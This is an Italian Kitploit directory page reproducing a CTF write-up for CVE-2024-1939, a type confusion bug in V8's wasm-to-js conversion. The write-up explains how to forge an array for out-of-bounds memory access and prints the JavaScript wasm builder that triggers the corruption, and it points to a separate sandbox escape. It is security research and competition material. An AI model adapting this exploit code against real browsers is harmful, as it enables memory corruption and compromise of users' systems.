Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-1939 — Per V8CTF M122 | Kitploit
Strumenti/GitHubGitHub/rycbar77/cve-2024-1939
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFApprendimento e FormazioneBinary Exploitation
GitHubrycbar77/cve-2024-1939

CVE-2024-1939

Per V8CTF M122

Vedi Repository
14312 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-1939

Questa è una breve descrizione della CVE-2024-1939, che ho usato per aggiudicarmi V8CTF M122.

La causa principale di questo problema è la mancanza di supporto per kWasmS128 nella conversione wasm-to-js. Nello specifico, le operazioni wasmS128Const che si verificano negli stack dei parametri vengono ignorate, portando a una type confusion quando un ExprRef è presente nei parametri.

In dettaglio, questo fa sì che un int/float venga convertito direttamente in un oggetto. Quindi è facile costruire un array falso con lunghezza arbitraria, che ci dà la possibilità di lettura e scrittura oob. C'è ancora un ostacolo da bypassare: wasmS128Const ha effetto solo sui parametri di tipo float che vengono memorizzati in FPSlot e non influenza i parametri taggati che vengono memorizzati in GPSlot. La soluzione sta in StackSlot. I registri FP/GP hanno limiti di dimensione. Dopo di che, i parametri vengono memorizzati in StackSlot in ordine. Se riempiamo i registri e mettiamo un numero float su StackSlot, il parametro taggato verrà letto da StackSlot e ci darà il nostro oggetto falso.

L'exploit finale non include il builder di questo modulo wasm per semplicità e velocità, quindi lo allego qui.

root@kitploit:~
function get_corrupt(addr) {
    var buf = new ArrayBuffer(8);
    var u32 = new Uint32Array(buf);
    var f64 = new Float64Array(buf);
    var u8 = new Uint8Array(buf);
    u32[0] = addr;
    u32[1] = 0;
    const builder = new WasmModuleBuilder();
    const typeId = builder.addType(makeSig([kWasmS128, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmI64, kWasmI64, kWasmI64,kWasmI64,kWasmI64,kWasmI31Ref,kWasmFuncRef], []));
    const importId = builder.addImport('mod', 'foo', typeId);
    builder.addDeclarativeElementSegment([importId]);

    builder.addFunction('main', kSig_v_v)
        .addLocals(wasmRefType(kWasmI31Ref), 1)
        .addBody([
            ...wasmS128Const(0xdeadbeef, 0xdeadbeef),
            ...wasmF64Const(1.1),
            ...wasmF64Const(1.1),
            ...wasmF64Const(1.1),
            ...wasmF64Const(1.1),
            ...wasmF64Const(1.1),
            ...wasmF64Const(f64[0]),
            ...wasmI64Const(0xbbbbbbbb),
            ...wasmI64Const(0xbbbbbbbb),
            ...wasmI64Const(0xbbbbbbbb),
            ...wasmI64Const(0xbbbbbbbb),
            ...wasmI64Const(0xbbbbbbbb),
            
            ...wasmI32Const(0xaaaaaaaa),
            kGCPrefix, kExprRefI31, kExprLocalTee, 0,
            kExprRefFunc, importId,
            kExprRefFunc, importId,
            kExprCallRef, typeId,
        ]).exportFunc();
    const instance = builder.instantiate({ mod: { foo: ff } });
    let f = instance.exports.main
    f();
}
get_corrupt(addr);

Viene utilizzato un worker per stabilizzare la memoria, poiché è stato osservato che gli indirizzi rimangono relativamente stabili nei worker threads.

Per i bypass della sandbox, vedi V8-Sandbox-Escape-via-Regexp. L'exploit finale utilizza normali catene orw per scrivere la flag attraverso stderr.

Scarica lo strumento